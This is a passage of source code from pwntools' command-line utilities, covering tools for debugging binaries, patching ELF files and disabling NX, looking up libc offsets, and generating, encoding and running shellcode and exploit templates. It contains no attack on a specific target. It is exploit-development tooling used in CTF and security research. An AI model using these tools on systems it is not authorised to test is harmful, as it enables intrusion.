Gallopsled-pwntools-3ad86ec/pwnlib/commandline/debug.py000066400000000000000000000057131507273764500234310ustar00rootroot00000000000000from __future__ import absolute_import from __future__ import division import argparse import sys from pwn import * from pwnlib.commandline import common parser = common.parser_commands.add_parser( 'debug', help = 'Debug a binary in GDB', description = 'Debug a binary in GDB' ) parser.add_argument( '-x', metavar='GDBSCRIPT', type=argparse.FileType('r'), help='Execute GDB commands from this file.' ) parser.add_argument( '--pid', type=int, help="PID to attach to" ) parser.add_argument( '-c', '--context', metavar = 'context', action = 'append', type = common.context_arg, choices = common.choices, help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices, ) parser.add_argument( '--exec', # NOTE: Type cannot be "file" because we may be referring to a remote # file, or a file on an Android device. type=str, dest='executable', help='File to debug' ) parser.add_argument( '--process', metavar='PROCESS_NAME', help='Name of the process to attach to (e.g. "bash")' ) parser.add_argument( '--sysroot', metavar='SYSROOT', type=str, default='', help="GDB sysroot path" ) def main(args): gdbscript = '' if args.x: gdbscript = args.x.read() if context.os == 'android': context.device = adb.wait_for_device() if args.executable: if os.path.exists(args.executable): context.binary = ELF(args.executable) target = context.binary.path # This path does nothing, but avoids the "print_usage()" # path below. elif context.os == 'android': target = args.executable elif args.pid: target = int(args.pid) elif args.process: if context.os == 'android': target = adb.pidof(args.process) else: target = pidof(args.process) # pidof() returns a list if not target: log.error("Could not find a PID for %r", args.process) target = target[0] # pidof will sometimes return all PIDs, including init if target == 1: log.error("Got PID 1 from pidof. Check the process name, or use --pid 1 to debug init") else: parser.print_usage() return 1 if args.pid or args.process: pid = gdb.attach(target, gdbscript=gdbscript, sysroot=args.sysroot) # Since we spawned the gdbserver process, and process registers an # atexit handler to close itself, gdbserver will be terminated when # we exit. This will manifest as a "remote connected ended" or # similar error message. Hold it open for the user. log.info("GDB connection forwarding will terminate when you press enter") pause() else: gdb.debug(target, gdbscript=gdbscript, sysroot=args.sysroot).interactive() if __name__ == '__main__': pwnlib.commandline.common.main(__file__, main) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/disablenx.py000066400000000000000000000011231507273764500243030ustar00rootroot00000000000000from __future__ import absolute_import from __future__ import division import argparse from pwn import * from pwnlib.commandline import common parser = common.parser_commands.add_parser( 'disablenx', help = 'Disable NX for an ELF binary', description = 'Disable NX for an ELF binary' ) parser.add_argument( 'elf', nargs='+', type=argparse.FileType('rb'), help='Files to check' ) def main(args): for f in args.elf: e = ELF(f.name) e.disable_nx() ELF(e.path) if __name__ == '__main__': pwnlib.commandline.common.main(__file__, main) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/disasm.py000066400000000000000000000057121507273764500236220ustar00rootroot00000000000000from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse import re import string import sys import pwnlib.args pwnlib.args.free_form = False from pwn import * from pwnlib.commandline import common parser = common.parser_commands.add_parser( 'disasm', help = 'Disassemble bytes into text format', description = 'Disassemble bytes into text format' ) parser.add_argument( 'hex', metavar = 'hex', nargs = '*', help = 'Hex-string to disassemble. If none are supplied, then it uses stdin in non-hex mode.' ) parser.add_argument( '-c', '--context', metavar = 'arch_or_os', action = 'append', type = common.context_arg, choices = common.choices, help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices, ) parser.add_argument( "-a","--address", metavar='address', help="Base address", type=str, default='0' ) parser.add_argument( '--color', help="Color output", action='store_true', default=sys.stdout.isatty() ) parser.add_argument( '--no-color', help="Disable color output", action='store_false', dest='color' ) def main(args): if len(args.hex) > 0: dat = ''.join(args.hex).encode('utf-8', 'surrogateescape') dat = dat.translate(None, string.whitespace.encode('ascii')) if not set(string.hexdigits.encode('ascii')) >= set(dat): print("This is not a hex string") exit(-1) dat = unhex(dat) else: dat = getattr(sys.stdin, 'buffer', sys.stdin).read() if args.color: from pygments import highlight from pygments.formatters import TerminalFormatter from pwnlib.lexer import PwntoolsLexer dis = disasm(dat, vma=safeeval.const(args.address)) # Note: those patterns are copied from disasm function pattern = '^( *[0-9a-f]+: *)((?:[0-9a-f]+ )+ *)(.*)' lines = [] for line in dis.splitlines(): match = re.search(pattern, line) if not match: # Append as one element tuple lines.append((line,)) continue groups = match.groups() o, b, i = groups lines.append((o, b, i)) highlight_bytes = lambda t: ''.join(map(lambda x: x.replace('00', text.red('00')).replace('0a', text.red('0a')), group(2, t))) for line in lines: if len(line) == 3: o, b, i = line b = ' '.join(highlight_bytes(bb) for bb in b.split(' ')) i = highlight(i.strip(), PwntoolsLexer(), TerminalFormatter()).strip() i = i.replace(',',', ') print(o,b,i) else: print(line[0]) return print(disasm(dat, vma=safeeval.const(args.address))) if __name__ == '__main__': pwnlib.commandline.common.main(__file__, main) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/elfdiff.py000066400000000000000000000025351507273764500237410ustar00rootroot00000000000000from __future__ import absolute_import from __future__ import division import shutil from argparse import ArgumentParser from subprocess import CalledProcessError from subprocess import check_output from tempfile import NamedTemporaryFile import pwnlib.args pwnlib.args.free_form = False from pwn import * from pwnlib.commandline import common def dump(objdump, path): n = NamedTemporaryFile(delete=False) o = check_output([objdump,'-d','-x','-s',path]) n.write(o) n.flush() return n.name def diff(a,b): try: return check_output(['diff',a,b], universal_newlines=True) except CalledProcessError as e: return e.output p = common.parser_commands.add_parser( 'elfdiff', help = 'Compare two ELF files', description = 'Compare two ELF files' ) p.add_argument('a') p.add_argument('b') def main(a): with context.silent: x = ELF(a.a) y = ELF(a.b) if x.arch != y.arch: log.error("Architectures are not the same: %s vs %s" % (x.arch, y.arch)) context.arch = x.arch objdump = pwnlib.asm.which_binutils('objdump') tmp = NamedTemporaryFile() name = tmp.name shutil.copy(x.path, name) x = dump(objdump, name) shutil.copy(y.path, name) y = dump(objdump, name) print(diff(x, y)) if __name__ == '__main__': pwnlib.commandline.common.main(__file__, main) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/elfpatch.py000066400000000000000000000015621507273764500241270ustar00rootroot00000000000000from __future__ import absolute_import from __future__ import division import sys import pwnlib.args pwnlib.args.free_form = False from pwn import * from pwnlib.commandline import common p = common.parser_commands.add_parser( 'elfpatch', help = 'Patch an ELF file', description = 'Patch an ELF file' ) p.add_argument('elf',help="File to patch") p.add_argument('offset',help="Offset to patch in virtual address (hex encoded)") p.add_argument('bytes',help='Bytes to patch (hex encoded)') def main(a): if not a.offset.startswith('0x'): a.offset = '0x' + a.offset offset = int(a.offset, 16) bytes = unhex(a.bytes) with context.silent: elf = ELF(a.elf) elf.write(offset, bytes) getattr(sys.stdout, 'buffer', sys.stdout).write(elf.get_data()) if __name__ == '__main__': pwnlib.commandline.common.main(__file__, main) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/errno.py000066400000000000000000000016551507273764500234710ustar00rootroot00000000000000from __future__ import absolute_import, print_function import argparse import os import errno from pwnlib.commandline import common parser = common.parser_commands.add_parser( 'errno', help = 'Prints out error messages', description = 'Prints out error messages' ) parser.add_argument( 'error', help='Error message or value', type=str ) def main(args): try: value = int(args.error, 0) if value < 0: value = -value if 0x100000000 - value < 0x200: value = 0x100000000 - value if value not in errno.errorcode: print("No errno for %s" % value) return name = errno.errorcode[value] except ValueError: name = args.error.upper() if not hasattr(errno, name): print("No errno for %s" % name) return value = getattr(errno, name) print('#define', name, value) print(os.strerror(value)) if __name__ == '__main__': common.main(__file__, main) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/hex.py000066400000000000000000000025551507273764500231300ustar00rootroot00000000000000from __future__ import absolute_import from __future__ import division import argparse import sys from pwnlib.commandline import common from pwnlib.util.fiddling import enhex from pwnlib.util.lists import group parser = common.parser_commands.add_parser( 'hex', help = 'Hex-encodes data provided on the command line or stdin', description = 'Hex-encodes data provided on the command line or stdin') parser.add_argument('data', nargs='*', help='Data to convert into hex') parser.add_argument( '-p', '--prefix', metavar = 'prefix', type = str, default = '', help = 'Insert a prefix before each byte', ) parser.add_argument( '-s', '--separator', metavar = 'separator', type = str, default = '', help = 'Add a separator between each byte', ) def format_hex(hex_string, prefix, separator): return separator.join([prefix + x for x in group(2, hex_string)]) def main(args): if not args.data: encoded = enhex(getattr(sys.stdin, 'buffer', sys.stdin).read()) else: data = ' '.join(args.data) if not hasattr(data, 'decode'): data = data.encode('utf-8', 'surrogateescape') encoded = enhex(data) if args.prefix or args.separator: encoded = format_hex(encoded, args.prefix, args.separator) print(encoded) if __name__ == '__main__': common.main(__file__, main) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/libcdb.py000066400000000000000000000220641507273764500235600ustar00rootroot00000000000000#!/usr/bin/env python from __future__ import absolute_import from __future__ import division from __future__ import print_function import re import shutil import sys import pwnlib.args pwnlib.args.free_form = False from pwn import * from pwnlib.commandline import common parser = common.parser_commands.add_parser( 'libcdb', help = 'Print various information about a libc binary', description = 'Print various information about a libc binary' ) libc_commands = parser.add_subparsers( dest = 'libc_command' ) lookup_parser = libc_commands.add_parser( 'lookup', help = 'Lookup a libc version by function offsets', description = 'Lookup a libc version by function offsets' ) lookup_parser.add_argument( 'symbol_offset_pairs', metavar = 'symbol_offset_pairs', nargs = '+', help = 'Symbol and offset pairs to lookup matching libc version. Can be any number of pairs to narrow the search. Example: "read 3e0 write 520"' ) lookup_parser.add_argument( '-d', '--download-libc', action = 'store_true', default = False, help = 'Attempt to download the matching libc.so' ) lookup_parser.add_argument( '--no-unstrip', action = 'store_false', dest = 'unstrip', help = 'Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server' ) lookup_parser.add_argument( '--offline-only', action = 'store_true', default = False, dest = 'offline_only', help = 'Attempt to searching with offline only mode' ) hash_parser = libc_commands.add_parser( 'hash', help = 'Display information of a libc version given an unique hash', description = 'Display information of a libc version given an unique hash' ) hash_parser.add_argument( 'hash_value', metavar = 'hash_value', nargs = '+', help = 'Hex encoded hash value' ) hash_parser.add_argument( '-t', '--hash_type', nargs = '?', type = str, choices = ['id', 'buildid', 'md5', 'sha1', 'sha256'], default = 'buildid', help = 'The type of the provided hash value. Supported hashtypes: id, buildid, md5, sha1, sha256' ) hash_parser.add_argument( '-d', '--download-libc', action = 'store_true', default = False, help = 'Attempt to download the matching libc.so' ) hash_parser.add_argument( '--no-unstrip', action = 'store_false', dest = 'unstrip', help = 'Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server' ) hash_parser.add_argument( '--offline-only', action = 'store_true', default = False, dest = 'offline_only', help = 'Attempt to searching with offline only mode' ) file_parser = libc_commands.add_parser( 'file', help = 'Dump information about a libc binary', description = 'Dump information about a libc binary' ) file_parser.add_argument( 'files', metavar = 'files', nargs = '+', help = 'Libc binary to dump' ) file_parser.add_argument( '-s', '--symbols', metavar = 'symbols', nargs = '*', help = 'List of symbol offsets to dump in addition to the common ones' ) file_parser.add_argument( '-o', '--offset', metavar = 'offset', type = str, help = 'Display all offsets relative to this symbol' ) file_parser.add_argument( '--unstrip', action = 'store_true', dest = 'unstrip', help = 'Attempt to unstrip the libc binary inplace with debug symbols from a debuginfod server' ) fetch_parser = libc_commands.add_parser( 'fetch', help = 'Fetch libc database', description = 'Fetch libc database. If no argument passed, it will init and upgrade libc-database repository', ) fetch_parser.add_argument( 'path', nargs = '?', default = context.local_libcdb, help = 'Set libc-database path, If it is empty, the default path will be `context.local_libcdb` (%s)' % context.local_libcdb ) fetch_parser.add_argument( '-u', '--update', metavar = 'update', nargs = '+', choices = ['all', 'ubuntu', 'debian', 'rpm', 'centos', 'arch', 'alpine', 'kali', 'parrotsec', 'launchpad'], help = 'Fetch the desired libc categories' ) common_symbols = ['dup2', 'printf', 'puts', 'read', 'system', 'write'] def print_libc_info(libc): log.info('%s', text.red(libc['id'])) log.indented('\t%-20s %s', text.green('BuildID:'), libc['buildid']) log.indented('\t%-20s %s', text.green('MD5:'), libc['md5']) log.indented('\t%-20s %s', text.green('SHA1:'), libc['sha1']) log.indented('\t%-20s %s', text.green('SHA256:'), libc['sha256']) log.indented('\t%s', text.green('Symbols:')) for symbol in libc['symbols'].items(): log.indented('\t%25s = %s', symbol[0], symbol[1]) def print_libc_elf(exe): from hashlib import md5, sha1, sha256 log.info('%s', text.red(os.path.basename(exe.path))) libc_version = get_libc_version(exe) if libc_version: log.indented('%-20s %s', text.green('Version:'), libc_version) if exe.buildid: log.indented('%-20s %s', text.green('BuildID:'), enhex(exe.buildid)) log.indented('%-20s %s', text.green('MD5:'), md5(exe.data).hexdigest()) log.indented('%-20s %s', text.green('SHA1:'), sha1(exe.data).hexdigest()) log.indented('%-20s %s', text.green('SHA256:'), sha256(exe.data).hexdigest()) # Always dump the basic list of common symbols log.indented('%s', text.green('Symbols:')) synthetic_symbols = collect_synthetic_symbols(exe) symbols = common_symbols + (args.symbols or []) + synthetic_symbols symbols.sort() for symbol in symbols: if symbol not in exe.symbols: log.indented('%25s = %s', symbol, text.red('not found')) else: log.indented('%25s = %#x', symbol, translate_offset(exe.symbols[symbol], args, exe)) def get_libc_version(exe): res = re.search(br'libc[ -](\d+\.\d+)', exe.data) if res: return res.group(1).decode() return None def translate_offset(offs, args, exe): if args.offset: if args.offset not in exe.symbols: log.info_once('offset symbol %s not found. ignoring.', args.offset) return offs return offs - exe.symbols[args.offset] return offs def collect_synthetic_symbols(exe): available_symbols = [] try: exe.symbols['str_bin_sh'] = next(exe.search(b'/bin/sh\x00')) available_symbols.append('str_bin_sh') except StopIteration: pass libc_start_main_return = exe.libc_start_main_return if libc_start_main_return > 0: exe.symbols['__libc_start_main_ret'] = libc_start_main_return available_symbols.append('__libc_start_main_ret') return available_symbols def main(args): if len(sys.argv) < 3: parser.print_usage() sys.exit() if args.libc_command == 'lookup': pairs = args.symbol_offset_pairs if len(pairs) % 2 != 0: log.failure('Uneven number of arguments. Please provide "symbol offset" pairs') return symbols = {pairs[i]:pairs[i+1] for i in range(0, len(pairs), 2)} matched_libcs = libcdb.search_by_symbol_offsets(symbols, offline_only=args.offline_only, return_raw=True) for libc in matched_libcs: print_libc_info(libc) if args.download_libc: path = libcdb.search_by_build_id(libc['buildid'], args.unstrip) if path: shutil.copy(path, './{}.so'.format(libc['id'])) elif args.libc_command == 'hash': inverted_map = {v: k for k, v in libcdb.MAP_TYPES.items()} hash_type = inverted_map.get(args.hash_type, args.hash_type) for hash_value in args.hash_value: path = libcdb.search_by_hash(hash_value, hash_type, unstrip=args.unstrip, offline_only=args.offline_only) exe = ELF(path, checksec=False) print_libc_elf(exe) if args.download_libc: # if we cannot get actual libc version then copy with cache name shutil.copy(path, './libc-{}.so'.format(get_libc_version(exe) or Path(path).stem)) elif args.libc_command == 'file': for file in args.files: if not os.path.exists(file) or not os.path.isfile(file): log.failure('File does not exist %s', args.file) continue if args.unstrip: libcdb.unstrip_libc(file) print_libc_elf(ELF(file, checksec=False)) elif args.libc_command == 'fetch': if args.update: subprocess.check_call(['./get'] + args.update, cwd=args.path) else: if not Path(args.path).exists(): if yesno("Would you like to initialize the libc-database repository? " "If the path already exists, this prompt will not display, and automatically upgrade repository."): log.waitfor("init libc-database repository") subprocess.check_call(['git', 'clone', 'https://github.com/niklasb/libc-database/', args.path]) else: log.waitfor("upgrade libc-database repository") subprocess.check_call(['git', 'pull'], cwd=args.path) if __name__ == '__main__': pwnlib.commandline.common.main(__file__, main) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/main.py000066400000000000000000000030331507273764500232600ustar00rootroot00000000000000from __future__ import absolute_import from pwnlib.commandline import asm from pwnlib.commandline import checksec from pwnlib.commandline import common from pwnlib.commandline import constgrep from pwnlib.commandline import cyclic from pwnlib.commandline import debug from pwnlib.commandline import disasm from pwnlib.commandline import disablenx from pwnlib.commandline import elfdiff from pwnlib.commandline import elfpatch from pwnlib.commandline import errno from pwnlib.commandline import hex from pwnlib.commandline import libcdb from pwnlib.commandline import phd from pwnlib.commandline import pwnstrip from pwnlib.commandline import scramble from pwnlib.commandline import shellcraft from pwnlib.commandline import template from pwnlib.commandline import unhex from pwnlib.commandline import update from pwnlib.commandline import version from pwnlib.commandline.common import parser as parser commands = { 'asm': asm.main, 'checksec': checksec.main, 'constgrep': constgrep.main, 'cyclic': cyclic.main, 'debug': debug.main, 'disasm': disasm.main, 'disablenx': disablenx.main, 'elfdiff': elfdiff.main, 'elfpatch': elfpatch.main, 'errno': errno.main, 'hex': hex.main, 'libcdb': libcdb.main, 'phd': phd.main, 'pwnstrip': pwnstrip.main, 'scramble': scramble.main, 'shellcraft': shellcraft.main, 'template': template.main, 'unhex': unhex.main, 'update': update.main, 'version': version.main, } def main(): common.entrypoint(commands) if __name__ == '__main__': main() Gallopsled-pwntools-3ad86ec/pwnlib/commandline/phd.py000066400000000000000000000045551507273764500231210ustar00rootroot00000000000000from __future__ import absolute_import from __future__ import division import argparse import os import signal import sys import io import pwnlib.args pwnlib.args.free_form = False from pwn import * from pwnlib.commandline import common parser = common.parser_commands.add_parser( 'phd', help = 'Pretty hex dump', description = 'Pretty hex dump' ) parser.add_argument( 'file', metavar='file', nargs='?', help='File to hexdump. Reads from stdin if missing.', type=argparse.FileType('rb'), default=getattr(sys.stdin, 'buffer', sys.stdin) ) parser.add_argument( "-w", "--width", help="Number of bytes per line.", default='16', ) parser.add_argument( "-l", "--highlight", help="Byte to highlight.", nargs="*", ) parser.add_argument( "-s", "--skip", help="Skip this many initial bytes.", default='0', ) parser.add_argument( "-c", "--count", help="Only show this many bytes.", default='-1', ) parser.add_argument( "-o", "--offset", help="Addresses in left hand column starts at this address.", default='0', ) parser.add_argument( "--color", nargs='?', help="Colorize the output. When 'auto' output is colorized exactly when stdout is a TTY. Default is 'auto'.", choices = ('always', 'never', 'auto'), default='auto', ) def asint(s): if s.startswith('0x'): return int(s, 16) elif s.startswith('0'): return int(s, 8) else: return int(s, 10) def main(args): infile = args.file width = asint(args.width) skip = asint(args.skip) count = asint(args.count) offset = asint(args.offset) # if `--color` has no argument it is `None` color = args.color or 'always' text.when = color if skip: try: infile.seek(skip, os.SEEK_CUR) except IOError: infile.read(skip) if count != -1: infile = io.BytesIO(infile.read(count)) hl = [] if args.highlight: for hs in args.highlight: for h in hs.split(','): hl.append(asint(h)) signal.signal(signal.SIGPIPE, signal.SIG_DFL) try: for line in hexdump_iter(infile, width, highlight = hl, begin = offset + skip): print(line) except (KeyboardInterrupt, IOError): pass if __name__ == '__main__': pwnlib.commandline.common.main(__file__, main) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/pwnstrip.py000066400000000000000000000032271507273764500242270ustar00rootroot00000000000000from __future__ import absolute_import from __future__ import division import argparse import pwnlib.args pwnlib.args.free_form = False from pwn import * from pwnlib.commandline import common p = common.parser_commands.add_parser( 'pwnstrip', help = 'Strip binaries for CTF usage', description = 'Strip binaries for CTF usage' ) g = p.add_argument_group("actions") g.add_argument('-b', '--build-id', help="Strip build ID", action='store_true') g.add_argument('-p', '--patch', metavar='FUNCTION', help="Patch function", action='append') p.add_argument('-o', '--output', type=argparse.FileType('wb'), default=getattr(sys.stdout, 'buffer', sys.stdout)) p.add_argument('file', type=argparse.FileType('rb')) def main(args): if not (args.patch or args.build_id): sys.stderr.write("Must specify at least one action\n") sys.stderr.write(p.format_usage()) sys.exit(0) elf = ELF(args.file.name) context.clear(arch=elf.arch) if args.build_id: for offset in pwnlib.libcdb.get_build_id_offsets(): data = elf.read(elf.address + offset + 0xC, 4) if data == 'GNU\x00': elf.write(elf.address + offset + 0x10, os.urandom(20)) for function in args.patch: if function not in elf.symbols: log.error("Could not find function %r" % function) trap = asm(shellcraft.trap()) offset = elf.symbols[function] elf.write(elf.address + offset, trap) result = elf.data if args.output.isatty(): result = enhex(result).encode('ascii') args.output.write(result) if __name__ == '__main__': pwnlib.commandline.common.main(__file__, main) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/scramble.py000066400000000000000000000051441507273764500241310ustar00rootroot00000000000000from __future__ import absolute_import from __future__ import division import argparse import sys import pwnlib.args pwnlib.args.free_form = False from pwn import * from pwnlib.commandline import common parser = common.parser_commands.add_parser( 'scramble', help = 'Shellcode encoder', description = 'Shellcode encoder' ) parser.add_argument( "-f", "--format", help="Output format (defaults to hex for ttys, otherwise raw)", choices=['raw', 'hex', 'string', 'elf'] ) parser.add_argument( "-o","--output", metavar='file', help="Output file (defaults to stdout)", type=argparse.FileType('wb'), default=getattr(sys.stdout, 'buffer', sys.stdout) ) parser.add_argument( '-c', '--context', metavar = 'context', action = 'append', type = common.context_arg, choices = common.choices, help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices, ) parser.add_argument( '-p', '--alphanumeric', action='store_true', help = 'Encode the shellcode with an alphanumeric encoder' ) parser.add_argument( '-v', '--avoid', action='append', help = 'Encode the shellcode to avoid the listed bytes' ) parser.add_argument( '-n', '--newline', dest='avoid', action='append_const', const='\n', help = 'Encode the shellcode to avoid newlines' ) parser.add_argument( '-z', '--zero', dest='avoid', action='append_const', const='\x00', help = 'Encode the shellcode to avoid NULL bytes' ) parser.add_argument( '-d', '--debug', help='Debug the shellcode with GDB', action='store_true' ) def main(args): tty = args.output.isatty() if sys.stdin.isatty(): parser.print_usage() sys.exit(0) stdin_buffer = getattr(sys.stdin, 'buffer', sys.stdin) output = stdin_buffer.read() fmt = args.format or ('hex' if tty else 'raw') formatters = {'r':bytes, 'h':enhex, 's':repr} if args.alphanumeric: output = alphanumeric(output) if args.avoid: output = avoid(output, ''.join(args.avoid)) if args.debug: proc = gdb.debug_shellcode(output, arch=context.arch) proc.interactive() sys.exit(0) if fmt[0] == 'e': sys.stdout.write(make_elf(output)) else: output = formatters[fmt[0]](output) if not hasattr(output, 'decode'): output = output.encode('ascii') args.output.write(output) if tty and fmt != 'raw': args.output.write(b'\n') if __name__ == '__main__': pwnlib.commandline.common.main(__file__, main) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/shellcraft.py000066400000000000000000000241601507273764500244670ustar00rootroot00000000000000from __future__ import absolute_import from __future__ import division import argparse import os import six import sys import types import pwnlib.args pwnlib.args.free_form = False from pwn import * from pwnlib.commandline import common # ____ _ _ _ __ _ # / ___|| |__ ___| | | ___ _ __ __ _ / _| |_ # \___ \| '_ \ / _ \ | |/ __| '__/ _` | |_| __| # ___) | | | | __/ | | (__| | | (_| | _| |_ # |____/|_| |_|\___|_|_|\___|_| \__,_|_| \__| def _string(s): out = [] for co in bytearray(s): c = chr(co) if co >= 0x20 and co <= 0x7e and c not in '/$\'"`': out.append(c) else: out.append('\\x%02x' % co) return '"' + ''.join(out) + '"\n' p = common.parser_commands.add_parser( 'shellcraft', help = 'Microwave shellcode -- Easy, fast and delicious', description = 'Microwave shellcode -- Easy, fast and delicious', ) p.add_argument( '-?', '--show', action = 'store_true', help = 'Show shellcode documentation', ) p.add_argument( '-o', '--out', metavar = 'file', type = argparse.FileType('wb'), default = getattr(sys.stdout, 'buffer', sys.stdout), help = 'Output file (default: stdout)', ) p.add_argument( '-f', '--format', metavar = 'format', choices = ['r', 'raw', 's', 'str', 'string', 'c', 'h', 'hex', 'a', 'asm', 'assembly', 'p', 'i', 'hexii', 'e', 'elf', 'd', 'escaped', 'default'], default = 'default', help = 'Output format (default: hex), choose from {e}lf, {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i, {a}ssembly code, {p}reprocssed code, escape{d} hex string', ) p.add_argument( 'shellcode', nargs = '*', help = 'The shellcodes you want. shellcode [args ...] [+ shellcode [args ...]]', type = str ) p.add_argument( '-d', '--debug', help='Debug the shellcode with GDB', action='store_true' ) p.add_argument( '--delim', help='Set the delimiter between multilple shellcodes', default='+' ) p.add_argument( '-b', '--before', help='Insert a debug trap before the code', action='store_true' ) p.add_argument( '-a', '--after', help='Insert a debug trap after the code', action='store_true' ) p.add_argument( '-v', '--avoid', action='append', help = 'Encode the shellcode to avoid the listed bytes' ) p.add_argument( '-n', '--newline', dest='avoid', action='append_const', const='\n', help = 'Encode the shellcode to avoid newlines' ) p.add_argument( '-z', '--zero', dest='avoid', action='append_const', const='\x00', help = 'Encode the shellcode to avoid NULL bytes' ) p.add_argument( '-r', '--run', help="Run output", action='store_true' ) p.add_argument( '--color', help="Color output", action='store_true', default=sys.stdout.isatty() ) p.add_argument( '--no-color', help="Disable color output", action='store_false', dest='color' ) p.add_argument( '--syscalls', help="List syscalls", action='store_true' ) p.add_argument( '--address', help="Load address", default=None ) p.add_argument( '-l', '--list', action='store_true', help='List available shellcodes, optionally provide a filter' ) p.add_argument( '-s', '--shared', action='store_true', help='Generated ELF is a shared library' ) def get_template(shellcodes): funcs = [] for shellcode in shellcodes: func = shellcraft cur_name = shellcode[0] args = [] if len(shellcode) > 1: args = shellcode[1:] for attr in cur_name.split('.'): func = getattr(func, attr) funcs.append((cur_name, func, args)) return funcs def is_not_a_syscall_template(name): template_src = shellcraft._get_source(name) return '/syscalls' not in template_src def main(args): delim = '+' if args.delim: delim = args.delim.strip() shellcodes = [] if args.shellcode: current = [] for s in args.shellcode: if s.strip() == delim: shellcodes.append(current) current = [] else: current.append(s) if len(current) > 0: shellcodes.append(current) if args.list: templates = shellcraft.templates if args.shellcode: template_array = [] for s in shellcodes: template_array.extend(list(filter(lambda a: s[0] in a, templates))) templates = template_array elif not args.syscalls: templates = list(filter(is_not_a_syscall_template, templates)) print('\n'.join(templates)) exit() if not args.shellcode: common.parser.print_usage() exit() try: funcs = get_template(shellcodes) except AttributeError: log.error("Unknown shellcraft template %r. Use --list to see available shellcodes." % args.shellcode) if args.show: for (name, func, _args) in funcs: # remove doctests doc = [] in_doctest = False block_indent = None caption = None lines = func.__doc__.splitlines() i = 0 if len(funcs) > 1: print('%s:' % name) while i < len(lines): line = lines[i] if line.lstrip().startswith('>>>'): # this line starts a doctest in_doctest = True block_indent = None if caption: # delete back up to the caption doc = doc[:caption - i] caption = None elif line == '': # skip blank lines pass elif in_doctest: # indentation marks the end of a doctest indent = len(line) - len(line.lstrip()) if block_indent is None: if not line.lstrip().startswith('...'): block_indent = indent elif indent < block_indent: in_doctest = False block_indent = None # re-evalutate this line continue elif line.endswith(':'): # save index of caption caption = i else: # this is not blank space and we're not in a doctest, so the # previous caption (if any) was not for a doctest caption = None if not in_doctest: doc.append(line) i += 1 print('\n'.join(doc).rstrip()) if len(funcs) > 1: print('') exit() code_array = [] for (name, func, func_args) in funcs: defargs = len(six.get_function_defaults(func) or ()) reqargs = six.get_function_code(func).co_argcount - defargs if len(func_args) < reqargs: if defargs > 0: log.critical('%s takes at least %d arguments' % (name, reqargs)) sys.exit(1) else: log.critical('%s takes exactly %d arguments' % (name, reqargs)) sys.exit(1) # Captain uglyness saves the day! for i, val in enumerate(func_args): try: func_args[i] = util.safeeval.expr(val) except ValueError: pass # And he strikes again! list(map(common.context_arg, name.split('.'))) code_array.append(func(*func_args)) code = "".join(code_array) if args.before: code = shellcraft.trap() + code if args.after: code = code + shellcraft.trap() if args.format in ['a', 'asm', 'assembly']: if args.color: from pygments import highlight from pygments.formatters import TerminalFormatter from pwnlib.lexer import PwntoolsLexer code = highlight(code, PwntoolsLexer(), TerminalFormatter()) print(code) exit() if args.format == 'p': print(cpp(code)) exit() assembly = code vma = args.address if vma: vma = pwnlib.util.safeeval.expr(vma) if args.format in ['e','elf']: args.format = 'default' try: os.fchmod(args.out.fileno(), 0o700) except OSError: pass if not args.avoid: code = read(make_elf_from_assembly(assembly, vma=vma, shared=args.shared)) else: code = asm(assembly) code = encode(code, args.avoid) code = make_elf(code, vma=vma, shared=args.shared) # code = read(make_elf(encode(asm(code), args.avoid))) else: code = encode(asm(assembly), args.avoid) if args.format == 'default': if args.out.isatty(): args.format = 'hex' else: args.format = 'raw' arch = name.split('.')[0] if args.debug: if not args.avoid: proc = gdb.debug_assembly(assembly, arch=arch, vma=vma) else: proc = gdb.debug_shellcode(code, arch=arch, vma=vma) proc.interactive() sys.exit(0) if args.run: proc = run_shellcode(code, arch=arch) proc.interactive() sys.exit(0) if args.format in ['s', 'str', 'string']: code = _string(code) elif args.format == 'c': code = '{' + ', '.join(map(hex, bytearray(code))) + '}' + '\n' elif args.format in ['h', 'hex']: code = pwnlib.util.fiddling.enhex(code) + '\n' elif args.format in ['i', 'hexii']: code = hexii(code) + '\n' elif args.format in ['d', 'escaped']: code = ''.join('\\x%02x' % c for c in bytearray(code)) + '\n' if not sys.stdin.isatty(): args.out.write(getattr(sys.stdin, 'buffer', sys.stdin).read()) if not hasattr(code, 'decode'): code = code.encode() args.out.write(code) if __name__ == '__main__': pwnlib.commandline.common.main(__file__, main) Gallopsled-pwntools-3ad86ec/pwnlib/commandline/template.py000066400000000000000000000236301507273764500241540ustar00rootroot00000000000000from __future__ import absolute_import from __future__ import division from __future__ import print_function from pwn import * from pwnlib.commandline import common from pwnlib.util.misc import which, parse_ldd_output, write from sys import stderr from mako.lookup import TemplateLookup, Template parser = common.parser_commands.add_parser( 'template', help = 'Generate an exploit template', description = 'Generate an exploit template. If no arguments are given, ' 'the current directory is searched for an executable binary and ' 'libc. If only one binary is found, it is assumed to be the ' 'challenge binary.' ) # change path to hardcoded one when building the documentation printable_data_path = "pwnlib/data" if 'sphinx' in sys.modules else pwnlib.data.path parser.add_argument('exe', nargs='?', help='Target binary. If not given, the current directory is searched for an executable binary.') parser.add_argument('--host', help='Remote host / SSH server') parser.add_argument('--port', help='Remote port / SSH port', type=int) parser.add_argument('--user', help='SSH Username') parser.add_argument('--pass', '--password', help='SSH Password', dest='password') parser.add_argument('--libc', help='Path to libc binary to use. If not given, the current directory is searched for a libc binary.') parser.add_argument('--path', help='Remote path of file on SSH server') parser.add_argument('--quiet', help='Less verbose template comments', action='store_true') parser.add_argument('--color', help='Print the output in color', choices=['never', 'always', 'auto'], default='auto') parser.add_argument('--template', help='Path to a custom template. Tries to use 